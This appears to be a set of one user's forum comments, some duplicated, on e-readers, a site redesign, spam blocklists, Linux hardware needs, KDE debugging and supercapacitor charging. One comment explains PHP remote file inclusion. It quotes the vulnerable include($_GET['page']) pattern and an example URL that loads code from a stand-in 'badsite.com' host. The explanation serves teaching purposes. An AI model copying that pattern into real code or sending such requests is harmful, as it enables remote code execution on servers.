Agree totally with parent - I also have a PRS-505, and it's a lovely device. One thing I wish it had though is a decent file browser - trying to find one file out of several hundred in a flat list gets very annoying, *very* quickly.
Also loving the SD card support with this...
Gotta say I actually quite like the new version - not for the looks, but for the function. Being able to click parent and have it autoscroll, and then being able to easily find the post I diverted from is a big improvement on slowly scrolling up until I find the parent, and then using the browser's search function to find the post I was looking at previously.
Also loving the new inline comments;-)
I do think the buttons are waaay too big now though. And the grey just looks wrong -/me thinks the buttons should all be/. green.
It isn't that the recipient complains they aren't getting email, it's when the sender (my customer) complains to me that their mail isn't making it to the recipient and blames me when it's the spam filters at the other end causing the problem. And now this? If you've been pestering their DNS servers for the last 15 months because you've been too lazy to remove those entries and can't be bothered to even remotely follow technical newssites, then your customers are placing the blame right where it belongs. Honestly, you're trusting the integrity of your email system to a third party and can't even be bothered to check up on them now and again? Like once a year or so? No, this is entirely your problem to own. I think you missed the point. He's saying that while *he* doesn't use the service, the destination provider who is using it (and rejecting mail on this basis) is not the one who gets the bad feedback. Because when one of his customers sends an email, and that email bounces, who do you think the customer will complain to? Him. And he has absolutely no control over the lazy-ass admin who set up the spam filter on the recipient system, so is suffering for something that he didn't do and is completely outside his control.
Yes, but remember that there is more involved than just the purchase price of a Windows licence. You also need to take into account the added hardware overhead required to run it - GNU/Linux will generally be a lot happier on a low-specced machine than Windows will, especially Vista.
Admittedly the Vista system requirements aren't as high as some people are making them out to be, but they're by no means trivial.
Indeed. Thing is, your app can be vulnerable to it without realising - there are plenty of bad apps that simply do something like
include($_GET['page']);
Now imagine what would happen if an attacker browsed to 'http://somesite.com/yourscript.php?page=http://badsite.com/evilvirus'. The poorly written script was just intended to load local files, but if url fopen() is enabled (and it is by default) the above attack would execute whatever php code was hosted at http://badsite.com/evilvirus. It's just incompetence more than anything else, but the problem is PHP makes doing bad things like this so damn easy.
Not sure about KDE specifically, but for a project of this scale the sensible thing to do would be to enable/disable full debugging at compile time. That way those who want debugging get debugging, and those who don't get a lean mean KDE machine, both from exactly the same source.
Assuming KDE does this, what is wrong with having debugging code in the RC source? Hell, it even makes sense to leave it in the final release - just disabled by default.
It's not lithium - according to the Toshiba Press Release, they completely changed almost every substance in the battery. They also say it has a nominal cell voltage of 2.4V.
Nice to see there are still some good ISPs left out there... Plenty would have just left the VPS to melt, never mind about the impact on the poor customer who got slashdotted.
I can't afford to charge something every 37 minutes, even if that charge only takes 10 seconds. Indeed not, and you make some very valid points. What you are assuming though is that the capacitor will be charged to only 3.7v - it makes far more sense to use a much higher storage voltage and simply run it through a voltage regulator/convertor. That way you can emulate the behaviour of a battery much more closely, and have it supplying a steady 3.5v or so (on the appliance side of the regulator) until the capacitor is nearly empty. No-one was suggesting using the capacitor in a standalone capacity, not even TFA.
The numbers were based on TFA, which states that (paraphrased) "...these capacitors could reach up to 50% of the capacity of current lithium ion technology, in the near future..."
I don't see it. If there are available outlets, I'd be using them, rather than my battery. (High-power) electrical outlets don't magically show up on an airplane, halfway through the flight and disappear 5 minutes later...
No, but they do show up at the airport between flights, or just before you board the train etc.
To recharge current laptop batteries in 1 minute on 120V would require a 30 amp outlet, while standard outlets max-out at 15 (and I don't recommend maxing them out, BTW).
And your point is? "A minute or two" falls perfectly within your figures at 15A (2 mins), and here in New Zealand where we have 'proper' 240v outlets (10A) it would take even less. They are also designed to be maxed out, plus a large safety margin. There's no reason not to take advantage of that capacity.
But the incredibly fast charge time would be the killer app for this. Sure, it only lasts half as long, but when you can charge it in a minute or two does that really matter?
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Agree totally with parent - I also have a PRS-505, and it's a lovely device. One thing I wish it had though is a decent file browser - trying to find one file out of several hundred in a flat list gets very annoying, *very* quickly. Also loving the SD card support with this...
An 'open-wallet' standard...
Wasn't the one on Europa lying down (h4, w9)?
That will be why then - I use Opera, and the parent thing has never worked for me in the past. It does now though :-D
Gotta say I actually quite like the new version - not for the looks, but for the function. Being able to click parent and have it autoscroll, and then being able to easily find the post I diverted from is a big improvement on slowly scrolling up until I find the parent, and then using the browser's search function to find the post I was looking at previously.
Also loving the new inline comments ;-)
I do think the buttons are waaay too big now though. And the grey just looks wrong - /me thinks the buttons should all be /. green.
Yes, but remember that there is more involved than just the purchase price of a Windows licence. You also need to take into account the added hardware overhead required to run it - GNU/Linux will generally be a lot happier on a low-specced machine than Windows will, especially Vista. Admittedly the Vista system requirements aren't as high as some people are making them out to be, but they're by no means trivial.
It's in his autobiography too ('Just for fun, the story of an accidental revolutionary', co-written with David Diamond).
Not sure about KDE specifically, but for a project of this scale the sensible thing to do would be to enable/disable full debugging at compile time. That way those who want debugging get debugging, and those who don't get a lean mean KDE machine, both from exactly the same source. Assuming KDE does this, what is wrong with having debugging code in the RC source? Hell, it even makes sense to leave it in the final release - just disabled by default.
It's not lithium - according to the Toshiba Press Release, they completely changed almost every substance in the battery. They also say it has a nominal cell voltage of 2.4V.
Nice to see there are still some good ISPs left out there... Plenty would have just left the VPS to melt, never mind about the impact on the poor customer who got slashdotted.
The numbers were based on TFA, which states that (paraphrased) "...these capacitors could reach up to 50% of the capacity of current lithium ion technology, in the near future..."
But the incredibly fast charge time would be the killer app for this. Sure, it only lasts half as long, but when you can charge it in a minute or two does that really matter?